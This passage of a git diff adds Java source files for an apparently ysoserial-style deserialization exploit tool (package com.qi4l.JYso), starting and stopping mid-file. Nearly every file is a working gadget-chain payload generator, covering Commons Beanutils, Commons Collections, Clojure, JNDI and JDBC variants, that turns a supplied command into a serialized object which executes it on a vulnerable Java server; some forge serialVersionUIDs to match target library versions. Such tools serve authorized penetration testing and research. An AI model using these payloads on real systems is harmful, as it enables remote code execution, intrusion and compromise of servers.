+ * Requires: + * org.clojure:clojure + * Versions since 1.2.0 are vulnerable, although some class names may need to be changed for other versions + */ + +@Dependencies({"org.clojure:clojure:1.8.0"}) +@Authors({JACKOFMOSTTRADES}) +public class Clojure implements ObjectPayload> { + + public Map getObject(String command) throws Exception { + String clojurePayload = ClojureUtil.makeClojurePayload(command); + Map fnMap = new HashMap<>(); + fnMap.put("hashCode", (new core$constantly()).invoke(0)); + AbstractTableModel$ff19274a model = new AbstractTableModel$ff19274a(); + model.__initClojureFnMappings(PersistentArrayMap.create(fnMap)); + HashMap targetMap = new HashMap<>(); + targetMap.put(model, null); + fnMap.put("hashCode", (new core$comp()) + .invoke(new main$eval_opt(), (new core$constantly()) + .invoke(clojurePayload))); + model.__initClojureFnMappings(PersistentArrayMap.create(fnMap)); + return targetMap; + } + +} diff --git a/src/main/java/com/qi4l/JYso/gadgets/CommonsBeanutils1.java b/src/main/java/com/qi4l/JYso/gadgets/CommonsBeanutils1.java new file mode 100644 index 0000000..4d8bb61 --- /dev/null +++ b/src/main/java/com/qi4l/JYso/gadgets/CommonsBeanutils1.java @@ -0,0 +1,28 @@ +package com.qi4l.JYso.gadgets; + +import com.qi4l.JYso.gadgets.annotation.Authors; +import com.qi4l.JYso.gadgets.annotation.Dependencies; +import com.qi4l.JYso.gadgets.utils.Gadgets; +import com.qi4l.JYso.gadgets.utils.Reflections; +import org.apache.commons.beanutils.BeanComparator; + +import java.util.PriorityQueue; + +@Dependencies({"commons-beanutils:commons-beanutils:1.9.2", "commons-collections:commons-collections:3.1", "commons-logging:commons-logging:1.2"}) +@Authors({Authors.FROHOFF}) +public class CommonsBeanutils1 implements ObjectPayload { + + public Object getObject(String command) throws Exception { + final Object template; + template = Gadgets.createTemplatesImpl(command); + final BeanComparator comparator = new BeanComparator(null, String.CASE_INSENSITIVE_ORDER); + final PriorityQueue queue = new PriorityQueue(2, comparator); + queue.add("1"); + queue.add("1"); + + Reflections.setFieldValue(comparator, "property", "outputProperties"); + Reflections.setFieldValue(queue, "queue", new Object[]{template, template}); + + return queue; + } +} diff --git a/src/main/java/com/qi4l/JYso/gadgets/CommonsBeanutils1183NOCC.java b/src/main/java/com/qi4l/JYso/gadgets/CommonsBeanutils1183NOCC.java new file mode 100644 index 0000000..a4ec023 --- /dev/null +++ b/src/main/java/com/qi4l/JYso/gadgets/CommonsBeanutils1183NOCC.java @@ -0,0 +1,40 @@ +package com.qi4l.JYso.gadgets; + +import com.qi4l.JYso.gadgets.annotation.Dependencies; +import com.qi4l.JYso.gadgets.utils.Gadgets; +import com.qi4l.JYso.gadgets.utils.Reflections; +import javassist.ClassPool; +import javassist.CtClass; +import org.apache.commons.beanutils.BeanComparator; + +import java.util.PriorityQueue; + + +import static com.qi4l.JYso.gadgets.utils.InjShell.insertField; + +@Dependencies({"commons-beanutils:commons-beanutils:1.8.3"}) +public class CommonsBeanutils1183NOCC implements ObjectPayload { + + @Override + public Object getObject(String command) throws Exception { + final Object template; + template = Gadgets.createTemplatesImpl(command); + ClassPool pool = ClassPool.getDefault(); + CtClass ctClass = pool.get("org.apache.commons.beanutils.BeanComparator"); + + insertField(ctClass, "serialVersionUID", "private static final long serialVersionUID = -3490850999041592962L;"); + + Class beanCompareClazz = ctClass.toClass(); + BeanComparator comparator = (BeanComparator) beanCompareClazz.newInstance(); + final PriorityQueue queue = new PriorityQueue(2, comparator); + queue.add("1"); + queue.add("1"); + + // switch method called by comparator + Reflections.setFieldValue(comparator, "property", "outputProperties"); + Reflections.setFieldValue(comparator, "comparator", String.CASE_INSENSITIVE_ORDER); + Reflections.setFieldValue(queue, "queue", new Object[]{template, template}); + + return queue; + } +} diff --git a/src/main/java/com/qi4l/JYso/gadgets/CommonsBeanutils2183NOCC.java b/src/main/java/com/qi4l/JYso/gadgets/CommonsBeanutils2183NOCC.java new file mode 100644 index 0000000..82f84a8 --- /dev/null +++ b/src/main/java/com/qi4l/JYso/gadgets/CommonsBeanutils2183NOCC.java @@ -0,0 +1,41 @@ +package com.qi4l.JYso.gadgets; + +import com.qi4l.JYso.gadgets.annotation.Dependencies; +import com.qi4l.JYso.gadgets.utils.Gadgets; +import com.qi4l.JYso.gadgets.utils.Reflections; +import com.qi4l.JYso.gadgets.utils.SuClassLoader; +import javassist.ClassClassPath; +import javassist.CtClass; + +import java.math.BigInteger; +import java.util.Comparator; +import java.util.PriorityQueue; + +import static com.qi4l.JYso.gadgets.Config.Config.POOL; +import static com.qi4l.JYso.gadgets.utils.InjShell.insertField; +import static com.qi4l.JYso.gadgets.utils.Reflections.setFieldValue; + +@Dependencies({"commons-beanutils:commons-beanutils:1.8.3"}) +public class CommonsBeanutils2183NOCC implements ObjectPayload { + @Override + public Object getObject(String command) throws Exception { + final Object templates = Gadgets.createTemplatesImpl(command); + // 修改BeanComparator类的serialVersionUID + POOL.insertClassPath(new ClassClassPath(Class.forName("org.apache.commons.beanutils.BeanComparator"))); + final CtClass ctBeanComparator = POOL.get("org.apache.commons.beanutils.BeanComparator"); + + insertField(ctBeanComparator, "serialVersionUID", "private static final long serialVersionUID = -3490850999041592962L;"); + + final Comparator comparator = (Comparator) ctBeanComparator.toClass(new SuClassLoader()).newInstance(); + setFieldValue(comparator, "property", "lowestSetBit"); + PriorityQueue queue = new PriorityQueue(2, comparator); + queue.add(new BigInteger("1")); + queue.add(new BigInteger("1")); + setFieldValue(comparator, "property", "outputProperties"); + Object[] queueArray = (Object[]) Reflections.getFieldValue(queue, "queue"); + queueArray[0] = templates; + queueArray[1] = templates; + return queue; + } +} + diff --git a/src/main/java/com/qi4l/JYso/gadgets/CommonsBeanutils2NOCC.java b/src/main/java/com/qi4l/JYso/gadgets/CommonsBeanutils2NOCC.java new file mode 100644 index 0000000..66e357c --- /dev/null +++ b/src/main/java/com/qi4l/JYso/gadgets/CommonsBeanutils2NOCC.java @@ -0,0 +1,46 @@ +package com.qi4l.JYso.gadgets; + +import com.qi4l.JYso.gadgets.annotation.Dependencies; +import com.qi4l.JYso.gadgets.utils.Gadgets; +import com.qi4l.JYso.gadgets.utils.SuClassLoader; +import com.qi4l.JYso.gadgets.utils.Reflections; +import javassist.ClassClassPath; +import javassist.ClassPool; +import javassist.CtClass; + +import java.util.Comparator; +import java.util.PriorityQueue; + + +import static com.qi4l.JYso.gadgets.utils.InjShell.insertField; + +@SuppressWarnings({"rawtypes", "unchecked"}) +@Dependencies({"commons-beanutils:commons-beanutils:1.8.3", "commons-logging:commons-logging:1.2"}) +public class CommonsBeanutils2NOCC implements ObjectPayload { + + public Object getObject(String command) throws Exception { + + final Object templates; + templates = Gadgets.createTemplatesImpl(command); + // 修改BeanComparator类的serialVersionUID + ClassPool pool = ClassPool.getDefault(); + pool.insertClassPath(new ClassClassPath(Class.forName("org.apache.commons.beanutils.BeanComparator"))); + final CtClass ctBeanComparator = pool.get("org.apache.commons.beanutils.BeanComparator"); + + insertField(ctBeanComparator, "serialVersionUID", "private static final long serialVersionUID = -3490850999041592962L;"); + + final Comparator comparator = (Comparator) ctBeanComparator.toClass(new SuClassLoader()).newInstance(); + Reflections.setFieldValue(comparator, "property", null); + Reflections.setFieldValue(comparator, "comparator", String.CASE_INSENSITIVE_ORDER); + + final PriorityQueue queue = new PriorityQueue(2, comparator); + // stub data for replacement later + queue.add("1"); + queue.add("1"); + + Reflections.setFieldValue(comparator, "property", "outputProperties"); + Reflections.setFieldValue(queue, "queue", new Object[]{templates, templates}); + ctBeanComparator.defrost(); + return queue; + } +} diff --git a/src/main/java/com/qi4l/JYso/gadgets/CommonsBeanutils3.java b/src/main/java/com/qi4l/JYso/gadgets/CommonsBeanutils3.java new file mode 100644 index 0000000..46542c3 --- /dev/null +++ b/src/main/java/com/qi4l/JYso/gadgets/CommonsBeanutils3.java @@ -0,0 +1,34 @@ +package com.qi4l.JYso.gadgets; + +import com.qi4l.JYso.gadgets.annotation.Dependencies; +import com.qi4l.JYso.gadgets.utils.Reflections; +import com.sun.rowset.JdbcRowSetImpl; +import org.apache.commons.beanutils.BeanComparator; + +import java.math.BigInteger; +import java.util.PriorityQueue; + +@Dependencies({"commons-beanutils:commons-beanutils:1.9.2", "commons-collections:commons-collections:3.1"}) +public class CommonsBeanutils3 implements ObjectPayload { + + @Override + public Object getObject(String command) throws Exception { + String jndiURL = null; + if (command.toLowerCase().startsWith("jndi:")) { + jndiURL = command.substring(5); + } + + BeanComparator comparator = new BeanComparator("lowestSetBit"); + JdbcRowSetImpl rs = new JdbcRowSetImpl(); + rs.setDataSourceName(jndiURL); + rs.setMatchColumn("QI4L"); + PriorityQueue queue = new PriorityQueue(2, comparator); + + queue.add(new BigInteger("1")); + queue.add(new BigInteger("1")); + + Reflections.setFieldValue(comparator, "property", "databaseMetaData"); + Reflections.setFieldValue(queue, "queue", new Object[]{rs, rs}); + return queue; + } +} diff --git a/src/main/java/com/qi4l/JYso/gadgets/CommonsBeanutils3183.java b/src/main/java/com/qi4l/JYso/gadgets/CommonsBeanutils3183.java new file mode 100644 index 0000000..fa2dae8 --- /dev/null +++ b/src/main/java/com/qi4l/JYso/gadgets/CommonsBeanutils3183.java @@ -0,0 +1,48 @@ +package com.qi4l.JYso.gadgets; + +import com.qi4l.JYso.gadgets.annotation.Dependencies; +import com.qi4l.JYso.gadgets.utils.Reflections; +import com.qi4l.JYso.gadgets.utils.SuClassLoader; +import com.sun.rowset.JdbcRowSetImpl; +import javassist.ClassClassPath; +import javassist.CtClass; + +import java.math.BigInteger; +import java.util.Comparator; +import java.util.PriorityQueue; + +import static com.qi4l.JYso.gadgets.Config.Config.POOL; +import static com.qi4l.JYso.gadgets.utils.InjShell.insertField; + +@Dependencies({"commons-beanutils:commons-beanutils:1.8.3"}) +public class CommonsBeanutils3183 implements ObjectPayload{ + @Override + public Object getObject(String command) throws Exception { + String jndiURL = null; + if (command.toLowerCase().startsWith("jndi:")) { + jndiURL = command.substring(5); + } + + POOL.insertClassPath(new ClassClassPath(Class.forName("org.apache.commons.beanutils.BeanComparator"))); + final CtClass ctBeanComparator = POOL.get("org.apache.commons.beanutils.BeanComparator"); + + insertField(ctBeanComparator, "serialVersionUID", "private static final long serialVersionUID = -3490850999041592962L;"); + + final Comparator comparator = (Comparator) ctBeanComparator.toClass(new SuClassLoader()).newInstance(); + Reflections.setFieldValue(comparator, "property", null); + Reflections.setFieldValue(comparator, "comparator", String.CASE_INSENSITIVE_ORDER); + + JdbcRowSetImpl rs = new JdbcRowSetImpl(); + rs.setDataSourceName(jndiURL); + rs.setMatchColumn("su18"); + PriorityQueue queue = new PriorityQueue(2, comparator); + + queue.add(new BigInteger("1")); + queue.add(new BigInteger("1")); + Reflections.setFieldValue(comparator, "property", "databaseMetaData"); + Reflections.setFieldValue(queue, "queue", new Object[]{rs, rs}); + + ctBeanComparator.defrost(); + return queue; + } +} diff --git a/src/main/java/com/qi4l/JYso/gadgets/CommonsBeanutilsAttrCompare.java b/src/main/java/com/qi4l/JYso/gadgets/CommonsBeanutilsAttrCompare.java new file mode 100644 index 0000000..5f8c84c --- /dev/null +++ b/src/main/java/com/qi4l/JYso/gadgets/CommonsBeanutilsAttrCompare.java @@ -0,0 +1,38 @@ +package com.qi4l.JYso.gadgets; + +import com.qi4l.JYso.gadgets.annotation.Authors; +import com.qi4l.JYso.gadgets.annotation.Dependencies; +import com.qi4l.JYso.gadgets.utils.Gadgets; +import com.qi4l.JYso.gadgets.utils.Reflections; +import com.sun.org.apache.xerces.internal.dom.AttrNSImpl; +import com.sun.org.apache.xerces.internal.dom.CoreDocumentImpl; +import com.sun.org.apache.xml.internal.security.c14n.helper.AttrCompare; +import org.apache.commons.beanutils.BeanComparator; + +import java.util.PriorityQueue; + + +@Dependencies({"commons-beanutils:commons-beanutils:1.9.2"}) +@Authors({"水滴"}) +public class CommonsBeanutilsAttrCompare implements ObjectPayload { + @Override + public Object getObject(String command) throws Exception { + final Object template; + template = Gadgets.createTemplatesImpl(command); + AttrNSImpl attrNS1 = new AttrNSImpl(); + CoreDocumentImpl coreDocument = new CoreDocumentImpl(); + attrNS1.setValues(coreDocument, "1", "1", "1"); + + BeanComparator beanComparator = new BeanComparator(null, new AttrCompare()); + + PriorityQueue queue = new PriorityQueue(2, beanComparator); + + queue.add(attrNS1); + queue.add(attrNS1); + + Reflections.setFieldValue(queue, "queue", new Object[]{template, template}); + Reflections.setFieldValue(beanComparator, "property", "outputProperties"); + + return queue; + } +} diff --git a/src/main/java/com/qi4l/JYso/gadgets/CommonsBeanutilsAttrCompare183.java b/src/main/java/com/qi4l/JYso/gadgets/CommonsBeanutilsAttrCompare183.java new file mode 100644 index 0000000..247f7b2 --- /dev/null +++ b/src/main/java/com/qi4l/JYso/gadgets/CommonsBeanutilsAttrCompare183.java @@ -0,0 +1,55 @@ +package com.qi4l.JYso.gadgets; + +import com.qi4l.JYso.gadgets.annotation.Authors; +import com.qi4l.JYso.gadgets.annotation.Dependencies; +import com.qi4l.JYso.gadgets.utils.Gadgets; +import com.qi4l.JYso.gadgets.utils.Reflections; +import com.qi4l.JYso.gadgets.utils.SuClassLoader; +import com.sun.org.apache.xerces.internal.dom.AttrNSImpl; +import com.sun.org.apache.xerces.internal.dom.CoreDocumentImpl; +import com.sun.org.apache.xml.internal.security.c14n.helper.AttrCompare; +import javassist.ClassClassPath; +import javassist.ClassPool; +import javassist.CtClass; +import javassist.CtField; + +import java.util.Comparator; +import java.util.PriorityQueue; + + +@Dependencies({"commons-beanutils:commons-beanutils:1.8.3"}) +@Authors({"SummerSec"}) +public class CommonsBeanutilsAttrCompare183 implements ObjectPayload { + @Override + public Object getObject(String command) throws Exception { + final Object template; + template = Gadgets.createTemplatesImpl(command); + AttrNSImpl attrNS1 = new AttrNSImpl(); + CoreDocumentImpl coreDocument = new CoreDocumentImpl(); + attrNS1.setValues(coreDocument, "1", "1", "1"); + + ClassPool pool = ClassPool.getDefault(); + pool.insertClassPath(new ClassClassPath(Class.forName("org.apache.commons.beanutils.BeanComparator"))); + final CtClass ctBeanComparator = pool.get("org.apache.commons.beanutils.BeanComparator"); + try { + CtField ctSUID = ctBeanComparator.getDeclaredField("serialVersionUID"); + ctBeanComparator.removeField(ctSUID); + } catch (javassist.NotFoundException e) { + } + ctBeanComparator.addField(CtField.make("private static final long serialVersionUID = -3490850999041592962L;", ctBeanComparator)); + final Comparator beanComparator = (Comparator) ctBeanComparator.toClass(new SuClassLoader()).newInstance(); + + ctBeanComparator.defrost(); + + Reflections.setFieldValue(beanComparator, "comparator", new AttrCompare()); + PriorityQueue queue = new PriorityQueue(2, (Comparator) beanComparator); + + queue.add(attrNS1); + queue.add(attrNS1); + + Reflections.setFieldValue(queue, "queue", new Object[]{template, template}); + Reflections.setFieldValue(beanComparator, "property", "outputProperties"); + + return queue; + } +} diff --git a/src/main/java/com/qi4l/JYso/gadgets/CommonsBeanutilsJDBC.java b/src/main/java/com/qi4l/JYso/gadgets/CommonsBeanutilsJDBC.java new file mode 100644 index 0000000..bc2f6ea --- /dev/null +++ b/src/main/java/com/qi4l/JYso/gadgets/CommonsBeanutilsJDBC.java @@ -0,0 +1,39 @@ +package com.qi4l.JYso.gadgets; + +import com.qi4l.JYso.gadgets.annotation.Authors; +import com.qi4l.JYso.gadgets.annotation.Dependencies; +import com.qi4l.JYso.gadgets.utils.Reflections; +import com.teradata.jdbc.TeraDataSource; +import org.apache.commons.beanutils.BeanComparator; + +import java.util.PriorityQueue; + +@SuppressWarnings({"rawtypes", "unchecked"}) +@Dependencies({"commons-beanutils:commons-beanutils:1.9.2"}) +@Authors({Authors.QI4L}) +public class CommonsBeanutilsJDBC implements ObjectPayload { + public Object getObject(String command) throws Exception { + if (!command.toLowerCase().startsWith("jdbc:")) { + throw new Exception("Command format is: eviljdbcurl"); + } + + TeraDataSource dataSource = new TeraDataSource(); + dataSource.setBROWSER(command); + dataSource.setLOGMECH("BROWSER"); + dataSource.setDSName("127.0.0.1"); + dataSource.setDbsPort("10250"); + + final BeanComparator comparator = new BeanComparator(null, String.CASE_INSENSITIVE_ORDER); + + final PriorityQueue queue = new PriorityQueue(2, comparator); + queue.add("1"); + queue.add("1"); + + Reflections.setFieldValue(comparator, "property", "connection"); + final Object[] queueArray = (Object[]) Reflections.getFieldValue(queue, "queue"); + queueArray[0] = dataSource; + queueArray[1] = dataSource; + + return queue; + } +} diff --git a/src/main/java/com/qi4l/JYso/gadgets/CommonsBeanutilsObjectToStringComparator.java b/src/main/java/com/qi4l/JYso/gadgets/CommonsBeanutilsObjectToStringComparator.java new file mode 100644 index 0000000..a8f9671 --- /dev/null +++ b/src/main/java/com/qi4l/JYso/gadgets/CommonsBeanutilsObjectToStringComparator.java @@ -0,0 +1,35 @@ +package com.qi4l.JYso.gadgets; + +import com.qi4l.JYso.gadgets.annotation.Authors; +import com.qi4l.JYso.gadgets.annotation.Dependencies; +import com.qi4l.JYso.gadgets.utils.Gadgets; +import com.qi4l.JYso.gadgets.utils.Reflections; +import org.apache.commons.beanutils.BeanComparator; +import org.apache.commons.lang3.compare.ObjectToStringComparator; + +import java.util.PriorityQueue; + +@Dependencies({"commons-beanutils:commons-beanutils:1.9.2", "org.apache.commons:commons-lang3:3.10"}) +@Authors({"水滴"}) +public class CommonsBeanutilsObjectToStringComparator implements ObjectPayload { + @Override + public Object getObject(String command) throws Exception { + final Object template; + template = Gadgets.createTemplatesImpl(command); + + ObjectToStringComparator stringComparator = new ObjectToStringComparator(); + + BeanComparator beanComparator = new BeanComparator(null, new ObjectToStringComparator()); + + PriorityQueue queue = new PriorityQueue(2, beanComparator); + + queue.add(stringComparator); + queue.add(stringComparator); + + Reflections.setFieldValue(queue, "queue", new Object[]{template, template}); + Reflections.setFieldValue(beanComparator, "property", "outputProperties"); + + return queue; + } + +} diff --git a/src/main/java/com/qi4l/JYso/gadgets/CommonsBeanutilsObjectToStringComparator183.java b/src/main/java/com/qi4l/JYso/gadgets/CommonsBeanutilsObjectToStringComparator183.java new file mode 100644 index 0000000..c8767f3 --- /dev/null +++ b/src/main/java/com/qi4l/JYso/gadgets/CommonsBeanutilsObjectToStringComparator183.java @@ -0,0 +1,50 @@ +package com.qi4l.JYso.gadgets; + +import com.qi4l.JYso.gadgets.annotation.Authors; +import com.qi4l.JYso.gadgets.annotation.Dependencies; +import com.qi4l.JYso.gadgets.utils.Gadgets; +import com.qi4l.JYso.gadgets.utils.Reflections; +import com.qi4l.JYso.gadgets.utils.SuClassLoader; +import javassist.ClassClassPath; +import javassist.ClassPool; +import javassist.CtClass; +import javassist.CtField; +import org.apache.commons.lang3.compare.ObjectToStringComparator; + +import java.util.Comparator; +import java.util.PriorityQueue; + + +@Dependencies({"commons-beanutils:commons-beanutils:1.8.3", "org.apache.commons:commons-lang3:3.10"}) +@Authors({"SummerSec"}) +public class CommonsBeanutilsObjectToStringComparator183 implements ObjectPayload { + @Override + public Object getObject(String command) throws Exception { + final Object template; + template = Gadgets.createTemplatesImpl(command); + ClassPool pool = ClassPool.getDefault(); + pool.insertClassPath(new ClassClassPath(Class.forName("org.apache.commons.beanutils.BeanComparator"))); + final CtClass ctBeanComparator = pool.get("org.apache.commons.beanutils.BeanComparator"); + try { + CtField ctSUID = ctBeanComparator.getDeclaredField("serialVersionUID"); + ctBeanComparator.removeField(ctSUID); + } catch (javassist.NotFoundException e) { + } + ctBeanComparator.addField(CtField.make("private static final long serialVersionUID = -3490850999041592962L;", ctBeanComparator)); + final Comparator beanComparator = (Comparator) ctBeanComparator.toClass(new SuClassLoader()).newInstance(); + ctBeanComparator.defrost(); + Reflections.setFieldValue(beanComparator, "comparator", new ObjectToStringComparator()); + + ObjectToStringComparator stringComparator = new ObjectToStringComparator(); + + PriorityQueue queue = new PriorityQueue(2, (Comparator) beanComparator); + + queue.add(stringComparator); + queue.add(stringComparator); + + Reflections.setFieldValue(queue, "queue", new Object[]{template, template}); + Reflections.setFieldValue(beanComparator, "property", "outputProperties"); + + return queue; + } +} diff --git a/src/main/java/com/qi4l/JYso/gadgets/CommonsBeanutilsPropertySource.java b/src/main/java/com/qi4l/JYso/gadgets/CommonsBeanutilsPropertySource.java new file mode 100644 index 0000000..ac220f0 --- /dev/null +++ b/src/main/java/com/qi4l/JYso/gadgets/CommonsBeanutilsPropertySource.java @@ -0,0 +1,40 @@ +package com.qi4l.JYso.gadgets; + +import com.qi4l.JYso.gadgets.annotation.Authors; +import com.qi4l.JYso.gadgets.annotation.Dependencies; +import com.qi4l.JYso.gadgets.utils.Gadgets; +import com.qi4l.JYso.gadgets.utils.Reflections; +import org.apache.commons.beanutils.BeanComparator; +import org.apache.logging.log4j.util.PropertySource; + +import java.util.PriorityQueue; + + +@Dependencies({"commons-beanutils:commons-beanutils:1.9.2", "org.apache.logging.log4j:log4j-core:2.17.1"}) +@Authors({"SummerSec"}) +public class CommonsBeanutilsPropertySource implements ObjectPayload { + @Override + public Object getObject(String command) throws Exception { + final Object template; + template = Gadgets.createTemplatesImpl(command); + PropertySource propertySource1 = new PropertySource() { + @Override + public int getPriority() { + return 0; + } + }; + + BeanComparator beanComparator = new BeanComparator(null, new PropertySource.Comparator()); + + PriorityQueue queue = new PriorityQueue(2, beanComparator); + + queue.add(propertySource1); + queue.add(propertySource1); + + Reflections.setFieldValue(queue, "queue", new Object[]{template, template}); + Reflections.setFieldValue(beanComparator, "property", "outputProperties"); + + return queue; + } + +} diff --git a/src/main/java/com/qi4l/JYso/gadgets/CommonsBeanutilsPropertySource183.java b/src/main/java/com/qi4l/JYso/gadgets/CommonsBeanutilsPropertySource183.java new file mode 100644 index 0000000..dcc099c --- /dev/null +++ b/src/main/java/com/qi4l/JYso/gadgets/CommonsBeanutilsPropertySource183.java @@ -0,0 +1,56 @@ +package com.qi4l.JYso.gadgets; + +import com.qi4l.JYso.gadgets.annotation.Authors; +import com.qi4l.JYso.gadgets.annotation.Dependencies; +import com.qi4l.JYso.gadgets.utils.Gadgets; +import com.qi4l.JYso.gadgets.utils.Reflections; +import com.qi4l.JYso.gadgets.utils.SuClassLoader; +import javassist.ClassClassPath; +import javassist.ClassPool; +import javassist.CtClass; +import javassist.CtField; +import org.apache.logging.log4j.util.PropertySource; + +import java.util.Comparator; +import java.util.PriorityQueue; + + +@Dependencies({"commons-beanutils:commons-beanutils:1.9.2", "org.apache.logging.log4j:log4j-core:2.17.1"}) +@Authors({"SummerSec"}) +public class CommonsBeanutilsPropertySource183 implements ObjectPayload { + @Override + public Object getObject(String command) throws Exception { + final Object template; + template = Gadgets.createTemplatesImpl(command); + PropertySource propertySource1 = new PropertySource() { + @Override + public int getPriority() { + return 0; + } + }; + + ClassPool pool = ClassPool.getDefault(); + pool.insertClassPath(new ClassClassPath(Class.forName("org.apache.commons.beanutils.BeanComparator"))); + final CtClass ctBeanComparator = pool.get("org.apache.commons.beanutils.BeanComparator"); + try { + CtField ctSUID = ctBeanComparator.getDeclaredField("serialVersionUID"); + ctBeanComparator.removeField(ctSUID); + } catch (javassist.NotFoundException e) { + } + ctBeanComparator.addField(CtField.make("private static final long serialVersionUID = -3490850999041592962L;", ctBeanComparator)); + final Comparator beanComparator = (Comparator) ctBeanComparator.toClass(new SuClassLoader()).newInstance(); + ctBeanComparator.defrost(); + Reflections.setFieldValue(beanComparator, "comparator", new PropertySource.Comparator()); + + + PriorityQueue queue = new PriorityQueue(2, (Comparator) beanComparator); + + queue.add(propertySource1); + queue.add(propertySource1); + + Reflections.setFieldValue(queue, "queue", new Object[]{template, template}); + Reflections.setFieldValue(beanComparator, "property", "outputProperties"); + + return queue; + } +} diff --git a/src/main/java/com/qi4l/JYso/gadgets/CommonsCollections1.java b/src/main/java/com/qi4l/JYso/gadgets/CommonsCollections1.java new file mode 100644 index 0000000..0ebbb62 --- /dev/null +++ b/src/main/java/com/qi4l/JYso/gadgets/CommonsCollections1.java @@ -0,0 +1,62 @@ +package com.qi4l.JYso.gadgets; + +import com.qi4l.JYso.gadgets.annotation.Authors; +import com.qi4l.JYso.gadgets.annotation.Dependencies; +import com.qi4l.JYso.gadgets.utils.Gadgets; +import com.qi4l.JYso.gadgets.utils.Reflections; +import com.qi4l.JYso.gadgets.utils.cc.TransformerUtil; +import org.apache.commons.collections.Transformer; +import org.apache.commons.collections.functors.ChainedTransformer; +import org.apache.commons.collections.functors.ConstantTransformer; +import org.apache.commons.collections.map.LazyMap; + +import java.lang.reflect.InvocationHandler; +import java.util.HashMap; +import java.util.Map; + +/** + * Gadget chain: + * ObjectInputStream.readObject() + * AnnotationInvocationHandler.readObject() + * Map(Proxy).entrySet() + * AnnotationInvocationHandler.invoke() + * LazyMap.get() + * ChainedTransformer.transform() + * ConstantTransformer.transform() + * InvokerTransformer.transform() + * Method.invoke() + * Class.getMethod() + * InvokerTransformer.transform() + * Method.invoke() + * Runtime.getRuntime() + * InvokerTransformer.transform() + * Method.invoke() + * Runtime.exec() + *

+ * Requires: + * commons-collections + */ + +@SuppressWarnings({"rawtypes", "unchecked", "unused"}) +@Dependencies({"commons-collections:commons-collections:3.1"}) +@Authors({Authors.FROHOFF}) +public class CommonsCollections1 implements ObjectPayload { + + @Override + public InvocationHandler getObject(String command) throws Exception { + + final Transformer transformerChain = new ChainedTransformer( + new Transformer[]{new ConstantTransformer(1)}); + // real chain for after setup + final Transformer[] transformers = TransformerUtil.makeTransformer(command); + + final Map innerMap = new HashMap(); + final Map lazyMap = LazyMap.decorate(innerMap, transformerChain); + final Map mapProxy = Gadgets.createMemoitizedProxy(lazyMap, Map.class); + final InvocationHandler handler = Gadgets.createMemoizedInvocationHandler(mapProxy); + + Reflections.setFieldValue(transformerChain, "iTransformers", transformers);// 反射修改iTransformers属性会触发反序列化 + + return handler; + } +} diff --git a/src/main/java/com/qi4l/JYso/gadgets/CommonsCollections10.java b/src/main/java/com/qi4l/JYso/gadgets/CommonsCollections10.java new file mode 100644 index 0000000..0e744fb --- /dev/null +++ b/src/main/java/com/qi4l/JYso/gadgets/CommonsCollections10.java @@ -0,0 +1,44 @@ +package com.qi4l.JYso.gadgets; + +import com.qi4l.JYso.gadgets.annotation.Dependencies; +import com.qi4l.JYso.gadgets.utils.Gadgets; +import com.qi4l.JYso.gadgets.utils.Reflections; +import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter; +import org.apache.commons.collections.functors.ConstantTransformer; +import org.apache.commons.collections.functors.FactoryTransformer; +import org.apache.commons.collections.functors.InstantiateFactory; +import org.apache.commons.collections.keyvalue.TiedMapEntry; +import org.apache.commons.collections.map.LazyMap; + +import javax.xml.transform.Templates; +import java.util.HashMap; +import java.util.Map; + + +@Dependencies({"commons-collections:commons-collections:3.2.1"}) + +public class CommonsCollections10 implements ObjectPayload { + + public Object getObject(String command) throws Exception { + final Object templates; + templates = Gadgets.createTemplatesImpl(command); + // 使用 InstantiateFactory 代替 InstantiateTransformer + InstantiateFactory instantiateFactory = new InstantiateFactory(TrAXFilter.class, new Class[]{Templates.class}, new Object[]{templates}); + + FactoryTransformer factoryTransformer = new FactoryTransformer(instantiateFactory); + + // 先放一个无关键要的 Transformer + ConstantTransformer constantTransformer = new ConstantTransformer(1); + Map innerMap = new HashMap(); + LazyMap outerMap = (LazyMap) LazyMap.decorate(innerMap, constantTransformer); + TiedMapEntry tme = new TiedMapEntry(outerMap, "QI4L"); + Map expMap = new HashMap(); + expMap.put(tme, "QI5L"); + + Reflections.setFieldValue(outerMap, "factory", factoryTransformer); + + outerMap.remove("QI4L"); + + return expMap; + } +} diff --git a/src/main/java/com/qi4l/JYso/gadgets/CommonsCollections11.java b/src/main/java/com/qi4l/JYso/gadgets/CommonsCollections11.java new file mode 100644 index 0000000..cf63d0f --- /dev/null +++ b/src/main/java/com/qi4l/JYso/gadgets/CommonsCollections11.java @@ -0,0 +1,37 @@ +package com.qi4l.JYso.gadgets; + +import com.qi4l.JYso.gadgets.utils.Gadgets; +import com.qi4l.JYso.gadgets.utils.Reflections; +import org.apache.commons.collections.functors.ConstantTransformer; +import org.apache.commons.collections.functors.InvokerTransformer; +import org.apache.commons.collections.keyvalue.TiedMapEntry; +import org.apache.commons.collections.map.LazyMap; + +import java.util.HashMap; +import java.util.Map; + + +/** + * RMIConnector 二次反序列化 + * 需要调用其 connect 方法,因此需要调用任意方法的 Gadget,这里选择了 InvokerTransformer + * 直接传入 Base64 编码的序列化数据即可 + */ +public class CommonsCollections11 implements ObjectPayload { + + @Override + public Object getObject(String command) throws Exception { + final Object templates; + templates = Gadgets.createTemplatesImpl(command); + InvokerTransformer invokerTransformer = new InvokerTransformer("connect", null, null); + HashMap map = new HashMap<>(); + Map lazyMap = LazyMap.decorate(map, new ConstantTransformer(1)); + TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, templates); + HashMap expMap = new HashMap<>(); + expMap.put(tiedMapEntry, "QI4L"); + lazyMap.remove(templates); + + Reflections.setFieldValue(lazyMap, "factory", invokerTransformer); + + return expMap; + } +} diff --git a/src/main/java/com/qi4l/JYso/gadgets/CommonsCollections12.java b/src/main/java/com/qi4l/JYso/gadgets/CommonsCollections12.java new file mode 100644 index 0000000..8302907 --- /dev/null +++ b/src/main/java/com/qi4l/JYso/gadgets/CommonsCollections12.java @@ -0,0 +1,31 @@ +package com.qi4l.JYso.gadgets; + +import com.qi4l.JYso.gadgets.annotation.Dependencies; +import com.qi4l.JYso.gadgets.utils.cc.TransformerUtil; +import org.apache.commons.collections.Transformer; +import org.apache.commons.collections.map.DefaultedMap; + +import java.util.HashMap; +import java.util.Hashtable; +import java.util.Map; + +@Dependencies({"commons-collections:commons-collections:3.2.1"}) +public class CommonsCollections12 implements ObjectPayload { + @Override + public Hashtable getObject(String command) throws Exception { + final Transformer[] transformers = TransformerUtil.makeTransformer(command); + Map hashMap1 = new HashMap(); + Map hashMap2 = 